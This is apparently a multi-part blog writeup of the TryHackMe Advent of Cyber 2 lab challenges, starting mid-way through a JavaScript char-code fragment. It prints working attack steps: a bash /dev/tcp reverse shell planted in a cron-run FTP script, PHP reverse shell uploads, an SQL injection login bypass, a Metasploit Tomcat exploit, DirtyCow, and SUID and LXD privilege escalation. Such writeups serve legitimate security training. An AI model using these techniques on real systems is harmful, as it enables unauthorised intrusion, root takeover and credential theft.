53, 50, 44, 32, 57, 57, 44, 32, 53, 50, 44, 32, 49, 48, 48, 44, 32, 53, 52, 44, 32, 53, 52, 44, 32, 53, 53, 44, 32, 53, 50, 44, 32, 53, 50, 44, 32, 53, 52, 44, 32, 49, 48, 48, 44, 32, 57, 56, 44, 32, 49, 48, 50, 44, 32, 49, 48, 48, 44, 32, 53, 55, 44, 32, 57, 55, 44, 32, 53, 49, 44, 32, 53, 48, 44, 32, 53, 55, 44, 32, 53, 54, 44, 32, 57, 55, 44, 32, 53, 54, 44, 32, 53, 54, 44, 32, 57, 56, 44, 32, 53, 54, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125));

That is JavaScript and we can put it into the Web developers console of our web browser

This gives us a github gist url we can visit to get the flag.

Day 23 – The Grinch strikes again!

And once more we deploy and log in with RDP.

There is a ransom note on out desktop. The bitcoin address seems to be encoded in some way. The two == hint that it might be base64. Using a decoder like CyberChef we will get the address.

Looking around in our documents folder we find a lot of files that have been renamed.

Opening up the task Scheduler and looking at the library, we will find a unusually names task and under actions it lists what .exe is run.

In the details of the shadow Copy task, we will find the volume ID.

The Disk Management utility shows that there is a backup partition and we can assign it a drive letter to access it.

We need to set the explorer options to show hidden folders so we can see the hidden one.

Following the instructions opf the final task, we get the last answer.

Day 24 – The Trial Before Christmas

For a final time we deploy the attack box and the challenge.

We don’t know anything about the box so we will run an nmap scan for all ports. This will take very long.

We find port 80 and 65000 open.

We bring up the site on port 65000 in the browser. You can find the title in the tab name or by looking at the source code.

Now it is time to bust out gobuster to do some directory and file brute forcing. Since we waited so long for the nmap, I take chances and use only a small word-list and the php extension.

root@ip-10-10-225-197:~# gobuster dir -u -x php -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt 
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
2020/12/26 04:48:03 Starting gobuster
/index.php (Status: 200)
/uploads.php (Status: 200)
/assets (Status: 301)
/api (Status: 301)
/grid (Status: 301)
2020/12/26 04:48:22 Finished

Pulling up gets us to a upload functionality. But even if we upload legitimate images it gives us a Invalid File-type Error.

Let’s look at the source code by pulling up the web developer tools and using the debugger. There is a filter.js and it always returns false.

We start burp, set the browsers proxy to it and Edit the intercept exception rule to not include .js anymore. Then we reload the page and forward all requests but drop the request to filter.js .

Now we copy a default php reverse shell cp /usr/share/webshells/php/php-reverse-shell.php ./rs.jpg.php. We include the .jpg in the filename just in case there is a server side file type check in place. This will not fool every check, but very simple ones.

Now we edit the file to match our IP and specify a port. Then we start a netcat listener on that port with nc -lvnp 4444

Then we turn off intercept in burp and upload the file. Next we need to find the folder where it is stored. In our directory scan we found grid. Pulling that up in the browser, we find our uploaded file.

After clicking that, we should have a connection on our listener. First thing to do is to stabilize the shell. There are multiple ways of doing this but we will follow the guide in this challenge.

python3 -c 'import pty;pty.spawn("/bin/bash")'

followed by export TERM=xterm, CTRL+z and stty raw -echo; fg

With our shell stabilized, we can start to look around. whoami returns www-data, a rather common user for the webserver. This means our permissions are most likely restricted to the webserver folders.

Let’s have a look at those with cd /var/www/ and ls. There is our web.txt and we can cat it.

There is another folder, TheGrid. we cd into it and look around. It has an include sub-folder and we can find the DB credential in dbauth.php

Knowing the database credentials we can connect to it with. mysql -utron -p

show databases; Shows us the databases and use tron; let’s us select the one we need.

show tables displays the available tables and SELECT * From users; dumps the user data.

edc621628f6d19a13a00fd683f5e3ff7 looks like a hash. We can put it into a service like crackstation to reveal the password.

After an exit in mysql su flynn and using that password allows us to become flynn on the shell. cd ~ lets us navigate to the home folder, where we can cat user.txt

Now we need to escalate our privileges. ID shows us what groups flynn is in.

flynn@light-cycle:~$ id
uid=1000(flynn) gid=1000(flynn) groups=1000(flynn),109(lxd)

LXD is a container tool similar to docker. Luckily the challenge provides us with a walk-through of how to exploit it.

First we check for available images.

flynn@light-cycle:~$ lxc image list
To start your first container, try: lxc launch ubuntu:18.04

| ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION          |  ARCH  |  SIZE  |         UPLOAD DATE          |
| Alpine | a569b9af4e85 | no     | alpine v3.12 (20201220_03:48) | x86_64 | 3.07MB | Dec 20, 2020 at 3:51am (UTC) |

Then we initialize the container lxc init Alpine foo -c security.privileged=true and add a device with the root filesystem lxc config device add foo bar disk source=/ path=/mnt/root recursive=true

lxc start foo starts the container and with lxc exec foo /bin/sh we get a shell in it.

cd /mnt/root/root gets us into the root folder where we can cat root.txt

That wraps up the Advent of Cyber 2 and earns us a nice certificate!

TryHackMe – Advent of Cyber 2 Day 14-18 – OSINT, Scripting Reverse, Engineering [Writeup]

As with the first and second part I have split the post to not get it too long.

Day 14 – Where’s Rudolph?

This day I will keep a lot shorter and basically just give some additional hints.

For the first task we go to reddit and open up a random profile of a user. Then we replace the username in the url to IGuidetheClaus2020. Then it only is a matter of clicking on Comments and you have the first url.

Read through the posts, the second gives you the next answer.

Robert is Rudolf’s creator. Googling for rudolf creator we will give you the third answer.

On his reddit comments he speaks about twitter (Q4) and testing his reddit username, we find it is the same. (Q5)

In his tweets he mentions a TV show and that aswers question 6.

For Question 7 we can use googles reverse image search and find out about the city.

Downloading the file and looking at the EXIF data of the image wil give us a location (Q8) and a flag.

Rudolf has posted a email address in his twitter bio. Putting that into https://scylla.sh/api (a search for data breaches) as search term email:rudolphthered@hotmail.com will give us his password.

Using the GPS exif data from his image in google maps, we find that he is staying in the Marriott in Chicago. Street number is in the hotel details.

Day 15 – There’s a Python in my stocking!

The first question of today can all be answered by running the code in the python interpreter True + True and the second one can be answered by reading the day’s description.

bool("False") we can put into the interpreter again and Question 4 is another one for the Description.

For the code analysis we could just put the code into the interpreter and see what comes out. But let’s look at the code more in detail.

x = [1, 2, 3] Creates a Variable names x with the array containing 1, 2 and 3

y = x Because python used pass by reference this creates a variable y that points to the same thing (the array in this case) as x

y.append(6) appends 6 to the array y and x are pointing to.

print(x) prints the array.

Day 16 – Help! Where is Santa?

Since it gives us easier access to the challenge, we are going to use the attack box again. Deploy it and the challenge.

Pulling up the page in the web browser without any ports (meaning on 80), does not work, so we have to find the correct port.

A quick nmap scan should do the trick.

root@ip-10-10-226-56:~# nmap

Starting Nmap 7.60 ( https://nmap.org ) at 2020-12-23 03:55 GMT
Nmap scan report for ip-10-10-244-23.eu-west-1.compute.internal (
Host is up (0.0026s latency).
Not shown: 999 closed ports
8000/tcp open  http-alt
MAC Address: 02:7D:17:61:1D:3D (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.67 seconds

Now we can pull up the site with the browser.

The site suggests finding the link to the API with a python script and you should do that for practice if you haven’t done much with python yet.

But we can also view source and search for api.

Accessing will give us a JSON response of: {"detail":"Not Found"}. We have to supply the API key. The challenge warns us that the server will block us after a certain amount of wrong attempts.

It also tells us, that the key is between 1 and 100 and odd. Which leaves 50 different keys to try.

Let’s write a python script to go through all potential keys:

# Importing the requests libary that allows us to do html requests
import requests

# We use a for loop to iterate over all potential API keys.
# We use the step size of two becasue of the info that the valid key is odd 
for apikey in range(1,100,2):

    # We make the request and store it in response. to concatonate a string 
    # (the api url ) with a number(the key) we need to convert the number to
    # a string first
    response = requests.get('' + str(apikey) )

    # now we print the text of the response

In the console output of that script we will find the answers.

Day 17 – ReverseELFneering

First we deploy both boxes. Once they are up, we ssh into the challenge box with the provided credentials.

I highly recommend that you do the example file1 walk through provided in the challenge to get used to the tools.

We open the challenge file in radare with r2 -d ./challenge1 and start the analysis with aa. This will take a while.

pdf @main shows us the content of the main function of the program.

In there we can already see what value is are stored in local_ch first.

We can use two approaches here. the first is to go through the instructions and logically examine what should be in the variable asked for. But we can also use break points and step through the instructions, then look at the memory. We will use the later approach, even if the first would be faster in a simple program like this.

To find out what value is in eax when imul is called, we can set a break point at that function call with db 0x00400b62, then run the program up until the break point with dc.

Then we step through the instruction and look with px @eax at the memory content of eax.

Stepping one instruction further, we can use px @rbp-0x4 to get the content of local_4h. We know local_4h is at @rbp-0x4 by looking at the top of main, where the variables are defined.

Day 18 – The Bits of Christmas

We start again with deploying the attack box and challenge. After giving it 5 minutes or so to start, follow the guide on how to connect to the windows remote desktop. Eventually you should see the Desktop.

We open up the TBFC_APP with ILSpy and can start browsing through the decompiled code.

Spotting the CrackMe portion, we dig further into that. It looks like this is where the form is handled. We are interested in the main form.

Let’s see what the code is the button will run when clicked:

Looks like there is a password check in there and it references the correct password.

Further down is also the Flag that will be printed out if the correct password is supplied. This already answers the questions, but we can of course also run the program, supply the password and see the flag.

TryHackMe – Advent of Cyber 2 Day 7-13 – Networking [Writeup]

Sine the first post already is getting very long, I am splitting the Writeup up into multiple posts, grouped by topic.

You can already read the web exploitation part.

Day 7 – The Grinch Really Did Steal Christmas

For this challenge we do not need the attack box. We download the pcaps and if we do not already have wireshark installed, we will have to get that too.

For the first task, we open up the first pcap and put ICMP into the filter bar to only see ICMP pakets.

To see only the http get requests, we use the filter again. We filter for the http get mehod with http.request.method == GET.

For the next question we filter for the requested ip and the http GET method with ip.addr == && http.request

Looking through the requests should give us a good hint of what article he was searching for.

Next we open up the second pcap and utilize the filter once more. ftp should filter the requests down enough.

To find the encrypted protocol, we can sort by protocol and scroll through them. That should give a quick find.

For the last task we open up the third pcap. HTTP is a protocol often used for file transfer, so we filter for that.

Then we select the response and go to File->Export Objects->HTTP. In the next dialog we can select the .zip file.

In that zip we will find the wishlist and with it the final answer.

Day 8 – What’s Under the Christmas Tree?

For this day we are back to our beloved attack box. Deploy that and the challenge. While that is loading, spend some time to google for the first question. Wikipedia is a good source for the answer 😉

Now we scan the deployed box with nmap.


Starting Nmap 7.60 ( https://nmap.org ) at 2020-12-13 00:57 GMT
Nmap scan report for ip-10-10-82-53.eu-west-1.compute.internal (
Host is up (0.0012s latency).
Not shown: 997 closed ports
80/tcp   open  http
2222/tcp open  EtherNetIP-1
3389/tcp open  ms-wbt-server
MAC Address: 02:A3:D0:DC:D1:2F (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.63 seconds

The challange wants us to experiemtn a bit with the -Pn, -sV and -A flag and we do so. This should help us find the OS of the system, too.

I do like to add a -v for more verbose output to my nmap scans.

nmap -sV -v

Starting Nmap 7.60 ( https://nmap.org ) at 2020-12-13 01:01 GMT
NSE: Loaded 42 scripts for scanning.
Initiating ARP Ping Scan at 01:01
Scanning [1 port]
Completed ARP Ping Scan at 01:01, 0.22s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:01
Completed Parallel DNS resolution of 1 host. at 01:01, 0.00s elapsed
Initiating SYN Stealth Scan at 01:01
Scanning ip-10-10-82-53.eu-west-1.compute.internal ( [1000 ports]
Discovered open port 3389/tcp on
Discovered open port 80/tcp on
Discovered open port 2222/tcp on
Completed SYN Stealth Scan at 01:01, 1.25s elapsed (1000 total ports)
Initiating Service scan at 01:01
Scanning 3 services on ip-10-10-82-53.eu-west-1.compute.internal (
Completed Service scan at 01:02, 6.04s elapsed (3 services on 1 host)
NSE: Script scanning
Initiating NSE at 01:02
Completed NSE at 01:02, 0.01s elapsed
Initiating NSE at 01:02
Completed NSE at 01:02, 0.00s elapsed
Nmap scan report for ip-10-10-82-53.eu-west-1.compute.internal (
Host is up (0.0017s latency).
Not shown: 997 closed ports
80/tcp   open  http          Apache httpd 2.4.29 ((Ubuntu))
2222/tcp open  ssh           OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
3389/tcp open  ms-wbt-server xrdp
MAC Address: 02:A3:D0:DC:D1:2F (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.96 seconds
           Raw packets sent: 1002 (44.072KB) | Rcvd: 1237 (52.535KB)

For the next task, we are supposed to run the http.title scrip. But that scrip already was part of our experiments with -A

This gives us enough information to finish the day. But there are quite a few Easter eggs hidden in this day and you really should take the opportunity to play around a bit with nmap here.

Day 9 – Anyone can be Santa!

Today is all about FTP so let’s get the attack box and the challenge deployed.

First we connect to the server via ftp and have a look. We don’t have credential yet so we go with anonymous. With ls we can list the directories content, just like we do in the terminal.

There is only one folder we can access as anonymous. We use cd to change into it, then ls again to see the content.

There are two files and we can download them to our attack box with get filename. In our local filesystem we open up the shopping list first and answer question 3.

Now it is time to open up the script in an editor.


# Created by ElfMcEager to backup all of Santa's goodies!

# Create backups to include date DD/MM/YYYY
filename="backup_`date +%d`_`date +%m`_`date +%Y`.tar.gz";

# Backup FTP folder and store in elfmceager's home directory
tar -zcvf /home/elfmceager/$filename /opt/ftp

# TO-DO: Automate transfer of backups to backup server

It is a Backup script that absolutely should not be in the public folder. We even have permissions to upload in that folder.

We replace it with

bash -i >& /dev/tcp/ 0>&1

, a simple bash reverse shell, to the script and save it. The IP in there needs to be your attack box IP not the one from the challenge.

Before we upload the modified script, we need to set up a listener for our reverse shell. nc -lvnp 4444 does the trick.

Now we can upload the scrip with put in ftp.

After a minute or two, we should get a connection on our listener.

With cat /root/flag.txt we read our final flag.

Day 10: Don’t be so sElfish

As always we deploy attack box and the challenge. First we run enum4linux with -U to enumerate users.

root@ip-10-10-214-41:~/Desktop/Tools/Miscellaneous# ./enum4linux.pl -U
WARNING: polenum.py is not in your path.  Check that package is installed and your PATH is sane.
WARNING: ldapsearch is not in your path.  Check that package is installed and your PATH is sane.
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Dec 13 09:41:50 2020

|    Target Information    |
Target ...........
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

|    Enumerating Workgroup/Domain on    |
[+] Got domain/workgroup name: TBFC-SMB-01

|    Session Check on    |
[+] Server allows sessions using username '', password ''

|    Getting domain SID for    |
Domain Name: TBFC-SMB-01
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup

|    Users on    |
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: elfmcskidy    Name:   Desc: 
index: 0x2 RID: 0x3ea acb: 0x00000010 Account: elfmceager    Name: elfmceagerDesc: 
index: 0x3 RID: 0x3e9 acb: 0x00000010 Account: elfmcelferson    Name:   Desc: 

user:[elfmcskidy] rid:[0x3e8]
user:[elfmceager] rid:[0x3ea]
user:[elfmcelferson] rid:[0x3e9]
enum4linux complete on Sun Dec 13 09:41:51 2020

This gives us the users. Now we also enumerate the shares:

root@ip-10-10-214-41:~/Desktop/Tools/Miscellaneous# ./enum4linux.pl -S
WARNING: polenum.py is not in your path.  Check that package is installed and your PATH is sane.
WARNING: ldapsearch is not in your path.  Check that package is installed and your PATH is sane.
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Dec 13 09:45:10 2020

|    Target Information    |
Target ...........
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

|    Enumerating Workgroup/Domain on    |
[+] Got domain/workgroup name: TBFC-SMB-01

|    Session Check on    |
[+] Server allows sessions using username '', password ''

|    Getting domain SID for    |
Domain Name: TBFC-SMB-01
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup

|    Share Enumeration on    |
WARNING: The "syslog" option is deprecated

    Sharename       Type      Comment
    ---------       ----      -------
    tbfc-hr         Disk      tbfc-hr
    tbfc-it         Disk      tbfc-it
    tbfc-santa      Disk      tbfc-santa
    IPC$            IPC       IPC Service (tbfc-smb server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

    Server               Comment
    ---------            -------

    Workgroup            Master
    ---------            -------
    TBFC-SMB-01          TBFC-SMB

[+] Attempting to map shares on
//    Mapping: DENIED, Listing: N/A
//    Mapping: DENIED, Listing: N/A
//    Mapping: OK, Listing: OK
//$    [E] Can't understand response:
WARNING: The "syslog" option is deprecated
enum4linux complete on Sun Dec 13 09:45:11 2020

The output shows us that tbfc-santa courld be mapped. Let’s try to log into this share with no password. With dir we list the content and should have all information to finish the tasks.

Day 11 – The Rogue Gnome

We start up the attack box and challenge. While they boot we read the documentation in the challenge and answer the first two questions.

The we SSH into the box with the provided credentials. ssh cmnatic@ On the first connect, you will have to confirm the servers fingerprint.

With find / -perm -u=s -type f 2>/dev/null we search for binaries that have the SUID bit set. Meaning they can be executed with the permission of a different user.

-bash-4.4$ find / -perm -u=s -type f 2>/dev/null

/bin/bash looks liek a very prmising candidate. Let#s check the permissions.

-bash-4.4$ ls -la /bin/bash 
-rwsr-xr-x 1 root root 1113504 Jun  6  2019 /bin/bash

Looks like it can be run as root. We will do just that with bash -p

Now we can cat the flag file.

Day 12: Ready, set, elf.

After deploying the boxes we run a quick nmap scan to get an overview:

root@ip-10-10-214-41:~# nmap -sV -v

Starting Nmap 7.60 ( https://nmap.org ) at 2020-12-13 10:24 GMT
NSE: Loaded 42 scripts for scanning.
Initiating ARP Ping Scan at 10:24
Scanning [1 port]
Completed ARP Ping Scan at 10:24, 0.22s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 10:24
Completed Parallel DNS resolution of 1 host. at 10:24, 0.00s elapsed
Initiating SYN Stealth Scan at 10:24
Scanning ip-10-10-83-199.eu-west-1.compute.internal ( [1000 ports]
Discovered open port 8080/tcp on
Discovered open port 3389/tcp on
Discovered open port 8009/tcp on
Increasing send delay for from 0 to 5 due to 11 out of 27 dropped probes since last increase.
Completed SYN Stealth Scan at 10:24, 20.25s elapsed (1000 total ports)
Initiating Service scan at 10:24
Scanning 3 services on ip-10-10-83-199.eu-west-1.compute.internal (
Completed Service scan at 10:25, 13.88s elapsed (3 services on 1 host)
NSE: Script scanning
Initiating NSE at 10:25
Completed NSE at 10:25, 0.30s elapsed
Initiating NSE at 10:25
Completed NSE at 10:25, 0.00s elapsed
Nmap scan report for ip-10-10-83-199.eu-west-1.compute.internal (
Host is up (0.011s latency).
Not shown: 997 filtered ports
3389/tcp open  ms-wbt-server Microsoft Terminal Services
8009/tcp open  ajp13         Apache Jserv (Protocol v1.3)
8080/tcp open  http-proxy
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
MAC Address: 02:34:E1:B1:70:6F (Unknown)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.07 seconds
           Raw packets sent: 3011 (132.468KB) | Rcvd: 20 (872B)

Looks like there is a webserver running on port 8080. Let’s look at it by pulling it up in the browser.

Here we can see what version of tomcat is running. Now we start metasploit with msfconsole

search tomcat list a number of explots metasploit provides for tomcat. info path allows us to view the details of an explot.

The one that seems promising is info exploit/windows/http/tomcat_cgi_cmdlineargs

msf5 > info exploit/windows/http/tomcat_cgi_cmdlineargs

       Name: Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability
     Module: exploit/windows/http/tomcat_cgi_cmdlineargs
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-04-10

Provided by:
  Yakov Shafranovich
  sinn3r <sinn3r@metasploit.com>

Module side effects:

Module stability:

Module reliability:

Available targets:
  Id  Name
  --  ----
  0   Apache Tomcat 9.0 or prior for Windows

Check supported:

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      8080             yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI  /                yes       The URI path to CGI script
  VHOST                       no        HTTP server virtual host

Payload information:

  This module exploits a vulnerability in Apache Tomcat's CGIServlet 
  component. When the enableCmdLineArguments setting is set to true, a 
  remote user can abuse this to execute system commands, and gain 
  remote code execution.

  Remote Code Execution (RCE) in CGI Servlet – Apache Tomcat on Windows – CVE-2019-0232

We select it with use exploit/windows/http/tomcat_cgi_cmdlineargs

options shows us the available settings for this exploit. First we double check that LHOST is our attack box IP.

Then we set the RHOST to the servers IP. set RHOST

Now we need a file in the cgi folder. Following the challenge description we can find We use set TARGETURI /cgi-bin/elfwhacker.bat and doube check our options.

When everything is fine, we issue exploit to start the attack.

We are now in a meterpreter session on the server. with dir we can list the directory content.

meterpreter > dir
Listing: C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-bin

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100777/rwxrwxrwx  73802  fil   2020-12-13 10:56:07 +0000  cyGMM.exe
100777/rwxrwxrwx  825    fil   2020-11-19 03:49:25 +0000  elfwhacker.bat
100666/rw-rw-rw-  27     fil   2020-11-19 22:05:43 +0000  flag1.txt

We can cat the flad file ad finish the challenge. There is more to explore here and you should use the opportunity to play around with metasploit and privilege escalation.

Day 13: Coal For Christmas

As always, hit the deploy buttons. Once everything is booted up, we run a quick nmap scan.

root@ip-10-10-224-179:~# nmap

Starting Nmap 7.60 ( https://nmap.org ) at 2020-12-14 10:58 GMT
Nmap scan report for ip-10-10-34-134.eu-west-1.compute.internal (
Host is up (0.00082s latency).
Not shown: 997 closed ports
22/tcp  open  ssh
23/tcp  open  telnet
111/tcp open  rpcbind
MAC Address: 02:91:2C:86:CD:15 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 3.04 seconds

Telnet is a insecure predecessor of ssh. So lets connect with telnet 23. Luckily for us, we are provided with cenential in the greeting text.

First thing we do is getting a idea of what system we are dealing with.

$ uname -a
Linux christmas 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
$ cat /etc/*release

With ls we have a look at what files we have in our hom folder.

$ ls
christmas.sh  cookies_and_milk.txt

Looking at cookies_and_milk.txt we will be able to answer Question of who got there first.

The challenge asks us to learn about DirtyCow. Let’s do that.

On the site you can find a link to the code of the Dirty Cow explot. To get the code of the box, I create a new file with nano dirty.c and copy paste the source. CTRL+O saves the file, CTRL+X closes the editor.

In the comment header of the sourcecode we just copied, it is explained how to complile the exploit. So lets do that with gcc -pthread dirty.c -o dirty -lcrypt.

Now we run the explot. In my case, I went for the absolutely insecure password of foo when prompted.

$ ./dirty
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: 
Complete line:

mmap: 7f9ccb251000
madvise 0

ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'foo'.

DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'foo'.

DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd

With su firefart we change what user we are running as. cd ~ brings us to the home of firefart. In there we find message_from_the_grinch.txt.

firefart@christmas:~# cat message_from_the_grinch.txt
Nice work, Santa!

Wow, this house sure was DIRTY!
I think they deserve coal for Christmas, don't you?
So let's leave some coal under the Christmas `tree`!

Let's work together on this. Leave this text file here,
and leave the christmas.sh script here too...
but, create a file named `coal` in this directory!
Then, inside this directory, pipe the output
of the `tree` command into the `md5sum` command.

The output of that command (the hash itself) is
the flag you can submit to complete this task
for the Advent of Cyber!

    - Yours,
        John Hammond
        er, sorry, I mean, the Grinch


Following the instructions we use touch coal to create the coal file, then run tree | md5sum to get the final answer.

TryHackMe – Advent of Cyber 2 Day 1-6 – Web Exploitation [Writeup]

Advent of Cyber 2 is a free, holiday season themed room on TryHackMe all you need to get started is an account.

A new challenge is being released every day and I will update this blog post after I completed the next day.

Day 1 – A Christmas Crisis

Deploy the attack machine and the challenge by clicking the green buttons. Then open the browser of the attack box and enter the IP of the deployed challenge box.

Now create a user by typing in a username & password then clicking register. Now log in.

Toggle on the developer tools of the browser with ctrl-shift-i. And navigate to the data panel. Here you can see the cookie name and value.

Looking at the value you can either know by experience what kind of encoding is use. Or, if you have no idea you can pull up cyberchef, paste in the value and try out a few of the favorites.

Hint: the answer is the full name of the encoding, not just the three letter short handle.

For my username of foobar the cookie decodes to:

{"company":"The Best Festival Company", "username":"foobar"}

This is the JSON format. (Sorry, no idea to be less obvious about it.)

To get Santa’s cookie, we now need to change the username in the JSON to santa and encode that JSON into Hex again. You can do that in CyberChef as well. Make sure to select a delimiter of none.

Now we go back to the assembly line website and out developer tools. We replace the value of the auth cookie with what we just calculated, then reload the page.

Now we can turn on the assembly line again and when all switches are flipped on, the final flag is revealed.

Day 2 – The Elf Strikes Back!

As always we start with deploying both the attack box and the challenge server.

First we bring up the IP of the challenge in our browser. The website pretty much tells us what to do next. We add ?id=YOUR_ID_HERE to the url and replace YOUR_ID_HERE with the code provided the challenge description.

This leads us to the upload page.

Checking the file types in the upload dialog or the source code will reveal, that the website is accepting .jpeg, .jpg and .png file. Those all are common image formats.

The Walk-through / challenge asks us now to upload a reverse shell. The briefing even tells us what reverse shell.

But let us quickly talk about how we can find out what kind of reverse shell we should try. First we need to know what programming language is being run by the server. If we are lucky, like in this case, we get that information via the http header.

To view the header, we open up the developer tools again and head to the network tab. After a reload of the page, it should populate. We click on the main file, the one with our id, then select headers on the right panel. Scrolling through the headers we can find X-Powered-By: PHP/7.2.24

This tells us we are looking for a php reverse shell, just as suggested in the challenge.

As suggested in the guide, we copy the reverse sehll with cp /usr/share/webshells/php/php-reverse-shell.php . in the terminal to our working directory. Then we run subl php-reverse-shell.php to open the reverse shell code in sublime text.

Now we change line 49 and replace the placeholder with the IP of our attack box. We can find that IP right in the top of the try hackme page. We also change the port in line 50 to the suggested 4444. As long as we use a free, high number port we can choose whatever we like here, we just have to make sure to use the same port when setting up the listener in the next step.

After saving the file we switch back to the terminal and set up a netcat listener with sudo nc -lvnp 4444

Netcat is a tool that allows us to listen to and send network traffic. We need to run it with sudo (running it with root privileges) to make sure it has the permissions to open the port we specified.

Now we need to upload our reverse shell. But the websites does not accept .php file. We still need it to end in .php for the server to interpret the files as code and run it though.

That’s why we can try need to rename it to include one of the supported file types, for example let it end in .png.php

It uploads the file but we still have nothing on the terminal. We first have to get the server to execute out reverse shell. Sometimes you can get lucky and the uploaded file gets displayed right back to you. But this is not the case here.

So we need to find our reverse shell. It will be in some kind of upload directory on the server. We could use something like fuff and use a word list to find potential upload urls. But in this case, we can try and guess a few common ones. Like upload.

We can click our reverse shell there. The website probably will be stuck loading but we get back our shell in the terminal.

With /var/www/flag.txt we can display the final flag.

Day 3 – Christmas Chaos

This day very much follows the guide already outlined in the challenge, so I will keep this brief.

After starting the attack box and deploying the challenge, we first have a look at the website. It is a typical login form.

We launch burp suit, set the Firefox proxy to burp and set intercept in the burp proxy to on. We put in some test credentials and send them. Burp intercepts the request and we can have a look at it.

In the http history tab we can send the request to the burp intruder. In the positions tab in intruders we mark the positions. The two positions we need are the text data we had send.

Then we move to the payloads tab and enter the suggested word lists of the challenge. Switch between the two lists with the payload set drop down.

After clicking Start Attack and clicking away the community edition warning, we have a look at the results. There is only one that looks different.

We disable the intercept and try that set of credentials to log in. In that control panel we find the flag.

Day 4 – Santa’s Watching

After starting the attack box and deploying the challenge we can view the defaced site.

To solve the second question, read the documentation above, it should tell you how to construct the required command.

Now we try to find the API endpoint of the forum with gobuster. As suggested we use -w to specify the dirbuster big word list. We add the .php extension with -x. This is not needed to solve the challenge, it just put it in there because most forum software is written in php and so have been the previous challenges.

<code>gobuster dir -u -w /usr/share/wordlists/dirb/big.txt -x .php</code>

In gobuster’s output we find /api with a 301 http code, indicating it has permanently moved. We pull the url up in the browser.

It redirects to /api/ , a folder on the server. It looks like the API is only containing one endpoint, site-log.php

The challenge tells us that the parameter for the endpoint is date. Usually we would have to find that one out by either fuzzing or reading documentation if that is availible for the software running.

So we fuzz it with wfuzz:

wfuzz -c -z file,/opt/AoC-2020/Day-4/wordlist -u

In the output we see one of the results to have a different length. So we pull up the url with that parameter.

That will give us the flag and complete this day.

Day 5 – Someone stole Santa’s gift list!

First we pull of the site in the browser.

I very much recommend that you play around a bit with the SQL injection training site also hosted on port 3000 if you are new to SQL injections.

Next we are supposed to guess the panel name. Trying a few things will hopefully lead you eventually to santapanel

Now we can us an SQL injection to bypass the login page. We use santa as username and ' or true; -- as password. The ' end the string where the password is meant to be inerted. or true; adds another condition to the SQL statement. It now basically asks if the password matches or true. or true always leads to true so the comparisson with the password become irrelevant and we can log in with any existing user we specify. -- mark the rest of the original SQL querry as comment.

Our next task is to fins out how many entries the gift table has and what Paul wants. We can use the same payload ' or true; -- again. This time it does not invalidate the password, but the kids name. This way it puts out the gift for every kid. Now it just is a matter of counting and finding Pauls gift.

